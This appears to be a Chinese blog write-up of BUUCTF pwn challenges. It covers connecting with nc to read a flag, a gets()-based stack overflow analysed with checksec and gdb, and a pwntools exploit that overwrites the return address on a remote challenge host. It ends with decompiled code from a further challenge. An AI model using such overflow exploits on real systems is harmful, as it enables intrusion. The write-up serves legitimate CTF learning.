BUUCTF PWN WriteUp
2020-03-09 本文已影响0人
Eumenides_62ac
test_your_nc

$ nc node3.buuoj.cn 29017
$ cat /flag
rip
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+1h] [rbp-Fh]
puts("please input");
gets(&s, argv);
puts(&s);
puts("ok,bye!!!");
return 0;
}
gets
从标准输入设备读字符串函数,其可以无限读取,不会判断上限,以回车结束读取。所以存在栈溢出漏洞。
可以看到有个func
:

解题基本上就是栈溢出让
RIP
跳转到func
函数。
$ checksec pwn1

可以看到没开任何保护。
用
gdb
调试,计算出RIP
的偏移:
> pattern create 200
> r
> pattern offset A(AADAA;
23
IDA
中可以看到函数开始的地方是0x401186

编写
exp
:
# -*- coding:utf-8 -*-
from pwn import *
context.log_level = 'debug'
io = remote('node3.buuoj.cn',29476)
#io = process("./pwn1")
system=0x401186
payload = b'a' * 23 + p64(system)
io.sendline(payload)
io.interactive()
warmup_csaw_2016
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char s; // [rsp+0h] [rbp-80h]
char v5; // [rsp+40h] [rbp-40h]
write(1, "-Warm Up-\n", 0xAuLL);
write(1, "WOW:", 4uLL);
sprintf(&s, "%p\n", sub_40060D);
write(1, &s, 9uLL);
write(1, ">", 1uLL);
return gets(&v5);
}